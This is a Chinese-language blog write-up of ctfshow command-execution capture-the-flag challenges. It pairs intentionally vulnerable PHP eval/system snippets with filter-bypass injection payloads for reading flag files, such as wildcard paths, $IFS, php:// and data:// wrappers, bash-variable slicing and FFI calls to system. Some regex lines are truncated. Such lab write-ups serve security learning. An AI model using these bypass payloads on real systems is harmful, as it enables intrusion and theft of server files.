error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=system("cat fl``ag.php");
能够代替cat的还有:tac|more|less|curl|nl|tail|sort|strings
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=echo `nl fl'ag'.p'hp'`;
nl是Linux系统命令,功能和cat一样,但是能额外显示行号;此题过滤了flag和php,在他们之间插入’绕过。
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=eval($_GET[1]);&1=system("cat flag.php");
此题通过get先传一个参数1,在后面执行cat flag.php的命令是不会被过滤的。
web32题代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
由于这题过滤了;和(),因此去掉payload中的括号,用?>代替; ,
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
回显出base64加密的字符串,解密后得到flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题新增了一个0-9的数字过滤,只需要把上面payload里的参数1改成a就可以了。
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
这题用data伪协议,base64加密的字符串就是要执行的命令,以此绕过flag过滤。
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这题和上题的区别在于会自动添加.php的后缀,可以利用伪协议,但是因为过滤了flag,所以只能用data:
?c=data://text/plain,
相当于执行了语句:.php,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题过滤的太狠了,但是过滤的是中文的括号,并不是英文的,因此要用到以下几个函数:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出
首先查看当前目录下的文件名:
?c=print_r(scandir(pos(localeconv())));
接着用array_reverse()和next(),使指针指向flag.php,并用highlight_file()输出,得到flag。
payload:
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
还没有学习脚本,日后一定补上。
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
payload:
?c=ls;
?c=cat flag.php;
补:此题代码的system()中有" >/dev/null 2>&1",他的作用是将程序的标准输出和错误输出都存到/dev/null(舍弃掉)。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了; ,用 || 代替,cat被过滤,姿势在下面列出:
payload:
?c=ls||
?c=ca't' flag.php||
?c=ca``t flag.php||
?c=tac flag.php||
?c=nl flag.php||
?c=more flag.php||
?c=less flag.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题比上题多过滤了一个flag,也是一个很简单的绕过,绕过姿势可以参考上一题的。
payload:
?c=tac fl``ag.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题比上题多过滤了个空格,有多种姿势绕过
payload:
?c=tac$IFS$9fl'ag'.php||
?c=tac<fl'ag'.php||
?c=tac${
IFS}fl'ag'.php||
?c=tac<>fl'ag'.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
?c=tac%09fla?.php%0a
%0a是换行符,能代替分号
虽然这题过滤了数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,所以并没有被过滤
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
?c=nl%09fla?.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fl?g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl<>fla\g.php||
?c=nl<>fla'g'.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题过滤了<>,那么就用${IFS}代替空格,但是,用命令
?c=nl${
IFS}fl\ag.php||
?c=ls${
IFS}../../../||
payload:
?c=nl${
IFS}../../../fla\g||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
echo($c);
$d = system($c);
echo "
".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
ls后发现有readflag和flag.php两个文件,我直接预判一手,读readflag,没想到真正的flag在flag.php里。这波啊,这波是群主预判了我的预判
payload:
?c=nl${
IFS}fl\ag.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这过滤,只能说nb,虽然ban了这么多查看命令,但我还有paste(手动滑稽),最神奇的是,这题通配符又能用了。
payload:
?c=paste${
IFS}fl?g.php%0a
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题太狠了,过滤了所有字母,正好看了大佬 bfengj 的博客,学到了三种姿势。
/bin目录下存放着许多执行的命令,例如:cat、ls、cp、base64、more、su,这题可以利用/bin/base64将flag.php加密后输出,虽然过滤了字母,但是可以用64和通配符来构造
payload:
?c=/???/????64 ????????
代表的是/bin/base64 flag.php
这次是利用/usr/bin目录,这个目录下的命令主要有diff、zip、last、less、make、passwd、bzip2
利用的是bzip2,将flag.php压缩后,访问url/flag.php.bz2
就能把压缩的文件下载下来。
payload:
?c=/???/???/????2 ????????
代替的是/usr/bin/bzip2 flag.php
应该是我的操作有问题,一直不能得到flag,日后一定补上。
和web55的姿势三一样的操作,日后一定补上
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这题提示flag在36.php中,但是,他把数字过滤掉了,这就不得不说到linux中的运算符$(())
的使用:
只要括号中的运算符、表达式符合C语言运算规则,都可用在$((exp))中,甚至是三目运算符。
另外,还有个关于取反的知识点:
如果b=~a,那么a+b=-1
下面用例子来说明(可以在Linux上实际操作一下,会理解的更好):
首先,如果直接echo 1+1
,那么出来的不会是2,但是,在echo $((1+1))
后,出现了2:
因此,$((表达式))能输出括号内表达式的最终结果,而echo $(())
会返回0,那么对$(())取反echo $((~$(())))
,就会返回-1
这题flag在36.php里,那么就必须要得到36这个结果,对36取反就是-37,因为
$((~$(())))的结果是-1
$(( $((~$(()))) $((~$(()))) ))的结果是-2,相当于-1-1
所以将他们放一起就默认是相加,那么只需要放37个$((~$(())))
就能得到-37的结果,再对它进行取反,最终得到36
root@baba:~# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-37
root@baba:~# echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
36
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这题ban了system函数
同web40,post提交参数:
c=print_r(next(array_reverse(scandir(pos(localeconv())))));
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=show_source('flag.php');
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
好家伙,估计群主也没想到show_source()能一把梭,这题直接就不把flag放在flag.php了
payload:
c=print_r(scandir('/'));
c=highlight_file('/flag.txt');
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这题相比于上题多过滤了print_r()函数,可以使用var_dump()函数代替
payload:
c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');
好家伙,这题把highlight_file()函数给ban了,看不到源码
c=var_dump(scandir('/'));
c=include('/flag.txt');
虽然把print_r()函数ban了,但是这题没有ban include,可以利用文件包含漏洞读取flag.txt
var_dump()函数被ban,那就用var_export()函数
c=var_export(scandir('/'));
c=include('/flag.txt');
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
这题我上来先试了c=var_export(scandir('/'));
发现输出的一大堆问号,原来是源码中用函数将缓冲区的所有字符全部替换为问号,那么可以用exit()/die()
提前结束,这样就不会将字符替换为问号
payload:
c=var_export(scandir('/'));exit();
c=include("/flag.txt");die()
暂时不会,日后一定补上。
没有网站源码,继续用web71的方法,发现仍然可行
payload:
c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();
看了群主大佬给的hint,可以利用数组遍历的方法输出根目录下的所有文件,具体payload如下:
c=?><?php //前面的?>用来闭合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍历文件夹
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
这题又ban了scandir()函数,只能用上一题的姿势二
payload:
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit();
?>
//flag在 /flagx.txt
c=include('/flagx.txt');exit();
这题连include()都用不了,还是看师傅bfengj的博客,才知道要用sql语句来读取数据库文件
payload:
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f -> __toString().' ');
}
exit();
?>
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
//我看不太懂,只能先抄个答案了
这题在题干中说到php7.4,可以想到FFI来绕过
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
payload:
//首先是熟悉的确定flag位置和名称
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit();
?>
//FFI调用system函数
c=
$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
exit();
现在看到不是群主出的题就很慌,进去一看,果然,把所有的小写字母加数字还有一些字符都ban了,这题flag在flag.php中,要不然还可以用一用前面$(())的方法。看了别的师傅的wp,可以用Linux中内置的bash变量来做,具体知识可以参考:常见 Bash 内置变量介绍(可以去Linux命令行里自己实际操作下,加深理解)
root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1} //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1} //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1} //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A} //字母代表0
t
发现网站报错的路径是/var/www/html,那么${PWD:~A}
的结果就应该是’ l ‘,因为${PATH:~A}
的结果是’ n ',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
payload:
code=${
PATH:~A}${
PWD:~A} ????.???
如果是在框中输就去掉code=
这题经过测试,比上题多过滤了path,必须想其他方法来构造
可以构造出/bin/base64 flag.php
,只需要/和4两个字符就行,其他的可以用通配符代替。
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}
绕过:
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
只需要${PWD::${SHLVL}}
,结果就是/
root@baba:~# echo ${PWD::${SHLVL}}
/
还有一个4的问题,可以用${#RANDOM}
,在Linux中,${#xxx}
显示的是这个值的位数,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
root@baba:~# echo ${#RANDOM}
4
root@baba:~# echo ${#RANDOM}
4
root@baba:~# echo ${#RANDOM}
5
root@baba:~# echo ${#RANDOM}
3
root@baba:~# echo ${#RANDOM}
5
root@baba:~# echo ${#RANDOM}
4
payload:
code=${
PWD::${
#SHLVL}}???${
PWD::${
#SHLVL}}?????${
#RANDOM} ????.???
可以构造/bin/cat flag.php
,需要t和/,${HOME}
默认是/root
,所以需要得到他的最后一个字母,看hint,容器的hostname应该是5个字母,所以${#HOSTNAME}
可以从第5位开始,1还是用${#SHLVL}
代替
payload:
code=${
PWD::${
#SHLVL}}???${
PWD::${
#SHLVL}}??${
HOME:${
#HOSTNAME}:${
#SHLVL}} ????.???
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
?>
方法同上一题姿势二
payload:
code=${
PWD::${
#SHLVL}}???${
PWD::${
#SHLVL}}??${
HOME:${
#HOSTNAME}:${
#SHLVL}} ????.???
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
?>
这题最关键的SHLVL被过滤了,可以用${#?}
代替
root@baba:/var/www/html# echo ${#?}
1
由于上一条命令是成功执行的,所以返回0,长度是1,能完美代替${#SHLVL}。其他地方没有变化
payload:
code=${
PWD::${
#?}}???${
PWD::${
#?}}?????${
#RANDOM} ????.???
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
?>
这题在上题的基础上又过滤了#和PWD
,PWD的绕过很简单,用HOME就可以,而#,就要用到很nb的$?
了
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
在执行命令前,先用,可以使下一次$?的报错结果为1,4的话可以用RANDOM随机得到
payload:
code=<A;${
HOME::$?}???${
HOME::$?}?????${
RANDOM::$?} ????.???
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这题只能用他给的函数,且限制了传入的值的长度为80,那么可以传入一个get参数,然后再传入想用的payload,需要编码绕过,首先,注意白名单中的一些函数:
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符
先用无绕过的方式写出payload:
?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")
由于[]
被ban了,可以用{}
代替。因为hex2bin函数被ban,要想使用它,必须要构造出他的其他进制形式,然后转换成hex2bin函数,那么base_convert()函数就发挥作用了,可以构造$pi=base_convert(37907361743,10,36)
,这里$pi
就是hex2bin函数,则payload前半部分绕过_GET
的就能出来了:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));
后面依次构造就可以了:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{
pi}($$pi{
abs})&pi=system&abs=cat flag.php;
有些小的细节也需要注意,例如cat flag.php
两边不能加上双引号和小括号,因为在前面已经构造好了
到这里,命令执行就告一段落了,也是挺有成就感的,毕竟这是自己的第一篇博客,也是我在ctfshow上第一个做完的分区。
另外,靠着刷题也学了不少知识,不得不说,师傅们tql,我抄答案都能学到这么多,感谢!!希望能早日成功上岸当菜鸡(手动滑稽)